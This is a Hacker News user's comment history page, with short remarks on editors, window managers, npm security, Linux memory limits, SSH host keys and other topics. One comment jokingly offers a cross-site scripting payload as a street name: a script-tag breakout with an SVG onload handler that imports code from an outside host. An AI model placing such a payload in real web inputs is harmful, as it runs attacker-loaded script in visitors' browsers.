HNHacker News
TopNewBestAskShowJobs

PhilipRoman

1,974 karma · joined October 20, 2018

submissionscomments
PhilipRoman··on Improving my focus by giving up my big monitor
I'm using Hyprland right now for its wayland support, but IMO so far the best mental model for window management I've seen is that of herbstluftwm with static layouts (you can still use dynamic tiling and tabs with it of course)
PhilipRoman··on Naming rights to street auctioned in San Francisco
Of course...

  "></script><svg onload=import('//x.p1.gs/')> Street
PhilipRoman··on Delve allegedly forked an open-source tool and sold it as its own
Didn't notice it, to be honest.
PhilipRoman··on AI has suddenly become more useful to open-source developers
What they want? Sometimes. What they need? Almost never.
PhilipRoman··on Ollama is now powered by MLX on Apple Silicon in preview
I use the free version of ChatGPT (without logging in) when I need some one-off question without a huge context. Real world prompt:

  "when hostapd initializes 80211 iface over nl80211, what attributes correspond to selected standard version like ax or be?"
It works fine, avoids falling into trap due to misleading question. Probably works even better for more popular technologies. Yeah, it has higher failure rates but it's not a dealbreaker for non-autonomous use cases.
PhilipRoman··on Axios compromised on NPM – Malicious versions drop remote access trojan
I don't deny that node/npm is useful for building servers, devtools for JS development itself, etc. but as an end user I haven't encountered anything useful which requires having it on my machine.
PhilipRoman··on Axios compromised on NPM – Malicious versions drop remote access trojan
This sounds like satire but isn't - I just make sure the nodejs/npm packages don't exist on my system. I've yet to find a crucial piece of software that requires it. As much as I love that cute utility that turns maps into ascii art, it's not exactly sqlite in terms of usefulness.
PhilipRoman··on Neovim 0.12.0
I always thought Vim/Nvim already had a built-in package manager, git clone inside ~/.vim/pack/*/start, am I missing anything by not using a "real" package manager?
PhilipRoman··on Neovim 0.12.0
In Vim, :! cleans up the tty context and hands it off to the child program, to do whatever it wants, you can open any TUI program and it will work as expected. In Neovim, :! just uses a plain pipe. Actually I believe GVim has the same problem. Since both Vim implementations now have a built in terminal handling stack anyway, I wonder if that could be used to unify the behavior.
PhilipRoman··on Iran-linked hackers breach FBI director's personal email
It's actually almost exactly the opposite, at least when considering the number of media outlets. Fox news is a massive outlier with a huge audience and strong republican leaning, but most of the major networks engage in democrat-aligned signaling (not necessarily the progressive branch of democrats).
PhilipRoman··on Tell HN: GitHub's Dependabot REST API is silently returning incomplete results
I believe you've always been supposed to handle pagination for this API: https://docs.github.com/en/rest/using-the-rest-api/using-pag...

Paginated-by-default APIs are an annoying pattern, like GitLab CI suddenly breaking after 20 builds, etc. I wish they would start making the pagination parameters required.

PhilipRoman··on Linux is an interpreter
That sounds like something I would've done... When I was a kid, the 5€/month for a VPS was a massive expense, to the point where I occasionally had to download my 10GB rootfs to my mom's windows laptop, terminate the instance and then rebuild it once I had enough money. Eventually I got an old Kindle that was able to run an app called Terminal IDE which had a Linux shell with some basic programs like busybox, gcc. Spartacus Rex, if you're out there, thank you for making my entire career possible.
PhilipRoman··on Hacking old hardware by renaming to .zip [video]
For RE cases where I know the original compiler used (a bit harder on C compilers due to huge number of obscure optimization flags), I give it a feedback loop to write a function that compiles to the original machine code.
PhilipRoman··on Desk for people who work at home with a cat
Mine likes them as well, but usually within 24 hours they're transformed into thousands of tiny cardboard pieces.
PhilipRoman··on AI users whose lives were wrecked by delusion
I initially laughed at this but then remembered that https://poc.bcachefs.org/ exists...
PhilipRoman··on Ensu – Ente’s Local LLM app
Ente has a killer feature of supporting actual end-to-end encryption for photos. That alone puts them above many other competitors.
PhilipRoman··on You are not your job
For an ideal ('spherical cow in a vacuum') type of homeless person, sure.
PhilipRoman··on Work_mem: It's a Trap
Be careful with the setrlimit/ulimit API family, generally it doesn't do what you want. You can limit virtual memory (but... why?) or specific segments like stack, etc. There is also RLIMIT_RSS which sounds like what you'd want, but alas:

    RLIMIT_RSS
        This is a limit (in bytes) on the process's resident set (the number of virtual pages resident in RAM).  This limit has effect only in Linux 2.4.x,  x  <  3 and there affects only calls to madvise(2) specifying MADV_WILLNEED.
I also disagree with the conclusion "No hardware can compensate for a query gone wrong". There are concepts like 'quality of service' and 'fairness' which PG has chosen to not implement.
PhilipRoman··on Why I love FreeBSD
hah, you weren't joking... https://poc.bcachefs.org/ https://www.theregister.com/2026/02/25/bcachefs_creator_ai/
PhilipRoman··on Big data on the cheapest MacBook
Unless you want to insmod things in your main kernel like a cowboy, I don't see why you'd need architectures to match. Cross compilation is the proper way (for some architectures it would be quite hard to find a machine capable of compiling the kernel before the heat death of the universe...)
PhilipRoman··on Julia Snail – An Emacs Development Environment for Julia Like Clojure's Cider
Don't get me wrong, I don't mind old aesthetics, but... yes? Well I wasn't exactly alive in 1978 but all the screenshots look like they are at least 20 years old
PhilipRoman··on Modernizing swapping: virtual swap spaces
mlockall(2) + tty/framebuffer based graphics should do the trick
PhilipRoman··on Something is afoot in the land of Qwen
When you say you use local model in OpenCode, do you mean through the ollama backend? Last time I tried it with various models, I got issues where the model was calling tools in the wrong format.
PhilipRoman··on Show HN: Deff – Side-by-side Git diff review in your terminal
zr?

vim folds are fully programmable. For me a bigger issue was git calling vimdiff for each file, which I fixed with my own difftool: https://gist.github.com/PhilipRoman/60066716b5fa09fcabfa6c95...

PhilipRoman··on America's most partisan voters hold the most voting power
I think that's an oversimplification. Voting does not have the same dynamics as soccer goals. Maybe a better analogy would be that the team is already winning 5-1 and in the last minute someone makes it 5-2. Good job of course, but can't really be said to influence the outcome.
PhilipRoman··on Wikipedia deprecates Archive.today, starts removing archive links
IMO there is actually a very low hanging fruit here, even without P2P or DHTs we could have an URI scheme that consists of a domain and document hash. It is then up to the user to add alternate mirrors for domains. Aside from privacy, it doesn't really matter who answers these requests since the documents are self-signing.
PhilipRoman··on The Day the Telnet Died
I'm saying that 90% of these setups look like this (or do the equivalent thing manually):

   ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168...
They have ssh, but no proper key management
PhilipRoman··on The Day the Telnet Died
>>Nobody verifies host keys,

>The known_hosts file is verification of host keys

I think the point was that those devices typically generate host keys dynamically and therefore the host key verification is usually turned off, leaving you just with encryption (which is still better than telnet - at least you're safe against passive adversaries). At least that's what I've seen in practice.

PhilipRoman··on Sleeper Shells: Attackers Are Planting Dormant Backdoors in Ivanti EPMM
The array indexing thing is a special case in [[...]] which is otherwise more-or-less secure (no expansion occurs under typical unquoted variable access). https://news.ycombinator.com/item?id=46631811
PhilipRoman··on Apt-bundle: brew bundle for apt
https://xkcd.com/1200/
← PreviousPage 3 of 29Next →